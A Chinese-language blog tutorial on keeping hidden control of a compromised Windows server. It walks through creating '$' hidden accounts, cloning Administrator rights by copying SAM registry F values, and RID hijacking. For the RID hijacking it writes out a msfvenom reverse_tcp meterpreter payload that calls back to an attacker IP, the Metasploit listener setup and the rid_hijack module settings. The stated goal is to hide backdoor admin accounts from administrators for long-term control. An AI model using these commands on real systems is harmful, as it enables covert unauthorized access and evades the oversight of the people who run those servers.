Windows权限维持1：账号隐藏

本文主要记录了当我们拿下一台服务器后要进行权限维持，如何能够隐藏我们所创建的账号不备管理员所知晓，达到长期控制目的。其中有不正确的地方欢迎大佬评论指正。

---

前言

当我们拿下一台服务器后，直接创建新用户不做任何改变的话，很容易被管理员所察觉，

以windows2008为例：

1、创建隐藏账户

net user ph$ 123@com /add

2、直接使用命令无法查看到新建用户

net user

3、但是我们在用户和组管理中可以看到该用户情况，但是这并不是主要的，如果我们通过该用户进行登录该计算机，计算机会在C:\Users下创建一个以该用户名所创建的文件夹，这个太容易导致管理员发现有新建未知用户了/font>

---

4、下面的两种方法可以很好的避免在Users文件夹下创建新的目录情况

一、账号克隆

本方法适用于在本地进行操作

1、账号创建

net user ph1$ 123.com /add

2、账号禁用

为了有更好的演示效果，我将上面所创建的ph1$账户进行禁用

开始 – 管理工具 – 计算机管理 – 用户与组 – 用户

3、打开注册表

win + r键 – 输入：regedit

找到如下路径，打开第二个SAM文件时，我们一般没有权限，所以选中该文件然后右键，选中权限，打开后将administrator权限赋值为：完全控制。结束后点击确定，这个时候再在该页面顶部选择查看 – 刷新 ，这个时候设置才会生效。

HKEY_LOCAL_MACHINE /SAM /SAM /Domains /Users /name

4、进行账号克隆

通过步骤3中我们所进入的文件夹下面，找到你要克隆的账号，这里我们需要克隆Administrator账号，就选择该账号的文件夹并打开记住其类型值，我的这里是：1f4，然后根据类型值在Users文件夹下面找到对应类型值的目录

打开上诉找到的目录并打开里面名称为F的文件，复制里面的内容

根据上述的方法，找到我们想要替换的用户，将我们复制的内容替换其F值里面的内容，我这里则是要替换ph1$账户的F值内容

5、通过新用户登录

上述步骤完成之后，我们使用ph1$这个新用户登录，查看服务器的变化


通过上述我们可以知道，该账号的权限为Administrator权限，同时打开用户管理时显示为禁用状态，在User下面不会创建新的以用户名为名字的目录，这样可以起一个很好的掩饰作用。

二、RID劫持

账号克隆虽然可以对我们所创建的用户进行一定的隐藏，但是它任然需要登录到本地才可以，这个在实战过程中有很大的局限性，所以我们可以通过RID劫持的方法来创建新的用户，让我们可以远程创建用户，同时能够起到隐藏作用

1.通过MSF生成payload返回会话

这里为了方便演示我直接在本地生成然后上传，在实战过程中建议使用冰蝎，能够很方便的给我们返回msf会话

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.111.24  lport=12348 -f exe > s4.exe

payload生成好后，上传到服务器，然后打开msf，进行监听会话

use exploit/multi/handler

set payload  windows/meterpreter/reverse_tcp

set lhost 192.168.111.22

set lport 12348

run

在win2008服务器上运行生成的木马文件，msf可以接收返回的会话就可以进行下一步操作了

2、通过会话创建账号

在msf的会话窗口，输入shell，就可以使用DOS命令来创建账号了，具体步骤如下：

1、shell
2、net user qq3$ 123.com /add

用户创建成功之后返回，将当前session放在后台运行，即输入：background，并记住当前sesson编号为1，也可以通过输入sessions命令来查看session编号

3、使用rid_hijack进行RID劫持

通过下述步骤配置相应的参数：

1、search rid_h
2、use 0       //即使用：post/windows/manage/rid_hijack
3、options    //查看要填写的内容
4、set GETSySTEM true
5、set GUEST_ACCOUNT false
6、set PASSWORD 123.com
7、set SESSION 1
8、set USERNAME qq3$
9、run

运行之后返回如下表示劫持成功

为了进一步测试效果我们先选择远程连接该服务器，应该再劫持前就尝试远程连接一下的，一般我们是没有权限去连接的，由于我往了所以这一步我就省略了，这里直接来查看劫持之后的远程连接效果：

成功连接同时权限也是administrator权限，同时在Users文件夹下面没有创建新的用户目录，在本地登录与在远程登录效果相同，这里我就不截图进行证明了，各位有兴趣的小伙伴可以自己去尝试
同时该方法我认为不仅可以进行权限维持，当我们在渗透测试过程中，我们拿到高权限用户但是没有密码，应该也可以通过这种方法克隆一个相同权限的用户，然后也就可以进行远程登录，帮助我们进一步测试。这个我暂时没有实测过，有兴趣的小伙伴可以进行相关实验。


针对RID劫持这里有一篇文章将的还不错：
RID劫持细讲